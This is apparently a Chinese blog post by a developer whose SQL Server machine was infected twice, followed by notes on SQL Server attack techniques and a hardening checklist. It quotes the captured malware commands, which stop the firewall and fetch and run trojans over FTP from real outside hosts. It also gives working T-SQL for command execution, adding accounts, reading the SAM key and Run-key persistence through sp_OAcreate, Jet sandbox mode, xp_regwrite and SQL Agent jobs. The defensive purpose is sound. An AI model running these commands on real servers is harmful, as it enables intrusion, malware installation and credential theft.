自己的開發機經歷了兩次的中毒現像.每次中毒的現像,都是sqlserver.exe進程去執行cmd.com進程,然后生成*.sys與*.bat兩個文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報警了. 下面是cmd.com執行指令內容 "C:"WINDOWS"system32"cmd.com" /c net1 s
自己的開發機經歷了兩次的中毒現像.每次中毒的現像,都是sqlserver.exe進程去執行cmd.com進程,然后生成*.sys與*.bat兩個文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報警了.
下面是cmd.com執行指令內容
"C:"WINDOWS"system32"cmd.com" /c net1 stop sharedaccess&echo open 218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo 11>>dboy.sys&echo get pc.exe C:"boots.exe>>dboy.sys&echo bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy C:"boots.exeC:"WINDOWS"system32"inf"test.exe&echo start start /high "" C:"WINDOWS"system32"inf"test.exe&echo start C:"boots.exe>>dboy.bat&echo start C:"boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del %0>>dboy.bat&dboy.bat
"C:"WINDOWS"system32"cmd.com" /c sc stop sharedaccess&echo open ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo if>>dboy1.sys&echo get dboy1.exe C:"Windows"tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo ftp -s:dboy1.sys>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo del dboy1.sys>>system1.bat&echo del %0>>system1.bat&system1.bat
第一次中毒,之后,就對sql server進行了加強,刪除了"xp_cmdshell"這個sql server中最不安全的擴展存儲過程.不過,好了沒一個月,又來中一次.
這一次,我檢查了數據庫日志,xp_cmdshell并沒有恢復,不過卻在日志在發現了sp_oacreate與sp_oamethod兩個存儲過程的執行日志.
于是上網學習,把自己的學習的一些東西記錄下來:
1. 初級sql注入攻擊
初級黑客攻擊SQL Server時,首先采用的方法是執行master數據庫中的擴展存儲過程xp_cmdshell命令來執行一些指令,添加用戶,添加文件,添加木馬病毒等.
對付此類黑客只要禁用xp_cmdshell存儲過程就可以了.
xp_cmdshell是一個允許執行任意的命令行命令的內置的存儲過程。例如:
Exec master..xp_cmdshell 'dir'
將獲得SQLSERVER進程的當前工作目錄中的目錄列表。如圖:

Exec master..xp_cmdshell 'net user'
將提供服務器上所有用戶的列表。當SQLSERVER正常以系統帳戶或域帳戶運行時,攻擊者可以做出更嚴重的危害。
從上面的兩個示例中可以看出xp_cmdshell的強大功能,功能的強大也意味著破壞性的強大.
一般情況下,xp_cmdshell對管理員來說也是不必要的,xp_cmdshell的消除不會對Server造成任何影響。
可以將xp_cmdshell消除:
Use Master
Exec sp_dropextendedproc 'xp_cmdshell'
Go
如果需要的話,可以把xp_cmdshell恢復回來:
Use Master
Exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Go
如果有必要可以把xplog70.dll這個文件也刪除了,記得做好備份.
sql 2005:
sql 2005默認情況下是不能執行xp_cmdshell存儲過程的,但這就安全了嗎?
開啟xp_cmdshell存儲過程的執行權限
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
關閉xp_cmdshell存儲過程的執行權限
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
刪除了xplog70.dll將影響到"企業管理器"的一部分功能,我碰到的是無法在"企業管理器"中查看數據庫服務器的屬性.
2.中級sql注入攻擊
我們進行了上面這一步的操作之后,就可以防護住了sql server的安全了嗎?不行,這只能針對一些剛學習sql注入的菜鳥才可行的辦法,對于中鳥及老鳥可不行,他們的方法可多了.
現在讓我們來看一下中級注入的方法.
當數據庫管理員禁用了xp_cmdshell同時刪除了xplog70.dll,也禁止了文件上傳功能,那么針對初級來說使用xp_cmdshell來進行一些操作已經不可行了.
但是微軟還提供了一些其他功能的存儲過程,可以讓中級黑客進行入侵.
1) 利用OLE對象接口
SQL SERVER提供了一些函數訪問OLE對象,分別是sp_OACREATE和sp_OAMethod,
可以利用他們調用OLE控件,間接獲取一個 shell。使用SP_OAcreate調用對象wscript。shell賦給變量@shell,然后使用SP_OAMETHOD調用@shell的屬性run執行命令。
DECLARE @shell INT
EXEC SP_OAcreate 'wscript.shell',@shell out
EXEC SP_OAMETHOD @shell,'run',null, 'net user hack hack /add'
2) 開啟access的沙盒模式
在默認情況下Jet數據引擎不支持select shell("net user ray ray /add")這樣的SQL語句,
但是開啟了JET引擎的沙盒模式后就可以執行命令,
先利用xp_regwrite存儲過程改寫注冊表,然后利用 OpenRowSet訪問一個系統本身自帶的一個ACCESS數據庫文件,再執行運行命令的SQL語句。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare"Microsoft"Jet"4.0 "Engines','SandBoxMode','REG_DWORD',3
SandBoxmode值說明
默認值為2,
0--表示始終禁用SandBoxmode模式,
1--表示對于非Acess應用程序試用SandBoxmode模式,
2--表示對access應用程序使用SandBoxmode模式,
3--則表示完全開啟安全設置。
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:"windows"system32"ias"ias.mdb','select shell("net user hack hack /add")');
3) 利用xp_regxxxxx之類的存儲過程寫注冊表項
這個方法只有sa賬戶或是sysadmin權限的帳戶才可以使用.
執行
exec xp_regread ''HKEY_LOCAL_MACHINE'', ''SECURITY"SAM"Domains"Account'', ''F''
如果碰到一個粗心的管理員,說不定就能得到管理員的密碼.
加一個啟動項什么的自然不在話下。
利用xp_regwrite寫注冊表項,直接把要執行的命令寫入RUN啟動項。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE"Microsoft"Windows"currentversion"run','shell','REG_SZ','C:"windows"system32"cmd.exe /c net user hack hack /add'
如果有必要就把這些擴展都刪除了
Xp_regaddmultistring (向注冊表中增加項目)
Xp_regdeletekey (從注冊表中刪除一個鍵)
Xp_regdeletevalue (從注冊表中刪除一個鍵值)
Xp_regenumvalues (列舉主鍵下的鍵值)
Xp_regread (讀去一個主鍵下的鍵值)
Xp_regremovemultistring (從注冊表中刪除項目)
Xp_regwrite (向注冊表中寫入數據)
4 ) 利用SQL代理執行命令
默認情況下這個服務是關閉的.我們可以先利用xp_servicecontrol開啟SQLSERVERAGENT,然后建立個SQL計劃任務,然后馬上運行這個任務。
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
use msdb exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:"'
exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'
除了我舉的上面四種方式外,還有其他方式,不過我不太了解,我就不一一列舉了。
三、其他獲取系統信息
歷遍目錄
exec master.dbo.xp_dirtree 'c:"'
獲取子目錄
exec master.dbo.xp_subdirs 'c:"'
列舉可用的系統分區
exec master.dbo.xp_availablemedia
判斷目錄或文件是否存在
exec master..xp_fileexist 'c:"boot.ini'
等等,不一一列舉了.
四、高級注入技術
對于高級注入技術,我在網上沒找到相關的學習資料,我想這些技術也應該是在一小部分人群中傳播的。所以也就無從講起了。
五、防御SQL注入的一些要點與方法
1. 確認已經安裝了windows操作系統和SQL Server的最新補丁程序。
2. 評估并且選擇一個考慮到最大的安全性但是同時又不影響功能的網絡協議。 多協議是明智的選擇, 但是它有時不能在異種的環境中使用。
說明:如果可能請除去不需要的網絡協議。
3. 給 "sa" 和具有"sysadmin"權限的帳戶設定強壯的密碼來加強其安全性。至于什么是強壯的密碼呢,個人認為是字母、數字、特殊字符的組合,不少八位字符。
4. 使用一個低特權用戶作為 SQL 服務器服務的查詢操作賬戶,不要用 LocalSystem 或sa。
這個低權限的帳戶應該只有最小的權限和限制這個帳戶對SQL Server的查詢與存取操作。 用戶可以用最小權限查詢sql server中的很多東西。若非必須不要給予多余的權限。
注意:當使用企業管理器做以上設置時 , 文件,注冊表和使用者權利上的權限處理。
5. 確定所有的SQL服務器數據,而且系統文件是裝置在 NTFS 分區,且"目錄訪問控制"被應用。
如果萬一某人得到對系統的存取操作權限,該層權限可以阻止入侵者破壞數據,避免造成一場大災難。
6.如果你不需要 xp_cmdshell 那請停用它。如果需要的話再把它增加回來。
其實這也好也不好 ————一個侵入者如果發現它不在了,也只需要把他加回來??紤]一下,可以除去在下面的 dll但是移除之前必須測試因為有些dll同時被一些程序所用。
要找到其他的程序是否使用相同的 dll請進行以下步驟:
首先得到該 dll:
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name=‘xp_cmdshell‘
其次,使用相同的 dll發現其他的擴展儲存操作是否使用該dll:
select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text=‘xplog70.dll‘
用戶可以用同樣的辦法處理下面步驟中其他你想去掉的進程。
7. 如不需要就停用對象連接與嵌入自動化儲存程序 ( 警告 - 當這些儲存程序被停用的時候 , 一些企業管理器功能可能丟失). 這些存儲過程如下:
sp_OACreate
sp_OADestroy
sp_OAGetErrorInfo
sp_OAGetProperty
sp_OAMethod
sp_OASetProperty
sp_OAStop
如果你決定停用這些存儲過程,那么請給他們寫一個腳本這樣在以后你用到他們的時候你能夠把他們重新添加回來 。
8. 禁用你不需要的注冊表存儲過程。(同上面的警告)這些包括:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumvalues
xp_regremovemultistring
注意 :xp_regread/ xp_regwrite這兩個存儲過程的移除影響一些主要功能包括日志和SP的安裝,所以他們的移除不被推薦。
9.移除其他你認為會造成威脅的系統儲存過程。 這種存儲過程是相當多的,而且他們也會浪費一些cpu時間。
小心不要首先在一個配置好的服務器上這樣做。首先在開發的機器上測試,確認這樣不會影響到任何的系統功能。在下面是我們所推薦的有待你評估的一些列表:
sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree
10. 除去數據庫的guest賬戶,這樣可以把未經許可的使用者排除在外。 例外情況是master和 tempdb 數據庫,因為對他們guest帳戶是必需的。
11. 若非必須,請完全地禁用SQL郵件功能。它的存在使潛在的攻擊者遞送潛在的 trojans ,病毒或是簡單實現一個DOS攻擊成為可能
12. 記錄所有的用戶存取訪問情況。 從企業管理器做這些設定或通過以sa登陸進入查詢分析器的下列各項:
xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE" Microsoft"MSSQLServer"MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3
13. 建立一個計劃的任務運行:
然后再重定向輸出到一個文本文件或電子郵件,因此你監測失敗的登錄嘗試。
這也為系統管理員提供一個好的記錄攻擊的方法。 也有很多用來分析NT日志事件的第三者工具。
注意: 你可能需要將路徑換成你安裝SQL的路徑。
14. 設定非法訪問和登陸失敗日志警報。到 企業管理器中的"Manager SQL Server Messages "搜尋任何有關無權訪問的消息
( 從查找"login failed"和"denied"開始). 確定你所有感興趣的信息被記錄到事件日志。然后在這些信息上設定警報 , 發送一個電子郵件或信息到一個能夠對問題及時響應的操作員。
15. 經常檢查組或角色全體會員并且確定用組分配權限,這樣你的審計工作能夠簡化。 確定當你在的時候 , 公眾的組不能從系統表執行選擇操作。
16. 花些時間審計用空密碼登陸的請求。 使用下面的代碼進行空密碼檢查:
select
password ,*
from syslogins
where password is null
order by name
17. 檢查所有非sa用戶的存取進程和擴充存儲進程的權限。 使用下面的查詢定期的查詢哪一個進程有公眾存儲權限:
Use master
select sysobjects.name
from sysobjects,sysprotects
where sysprotects.uid=0
AND xtype 在 (‘X‘,‘P‘)
AND sysobjects.id=sysprotects.id
Order by name
18. 當時用企業管理器的時候,使用整合的安全策略。 過去,企業管理器被發現在標準的安全模態中儲存 "sa" 密碼在注冊表的 plaintext 中。 注意: 即使你改變模態,密碼也會留在注冊表中。
sql 2000:
使用 regedit 而且檢查鍵:
HKEY_USERS"{yourSID}"software"Microsoft"Microsoft SQL server"80"tool"SQLEW"registered server X"SQL server group
("SQL server組" 是默認值但是你可能已建立用戶組因此相應地改變其位置)
sql 2005已經沒有在注冊表中寫sqlew這個鍵了.
19. 制定一個安全審核計劃,每月的一份安全報告,對IT主管可用的報表包括新的開發內容中進行的數據庫修改,成功的攻擊 , 備份保護 , 和對象存取失敗統計。
20. 不要允許使用者交互式登陸到 SQL Server之上。這個規則適用任何的服務器。 一旦一個使用者能夠交互式進入一個服務器之內,就有能用來獲得管理員的存取特權得到管理員權限。
最后就是,對方怎么得到我的開發機上的動態IP的,這我怎么也沒想清楚.
聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com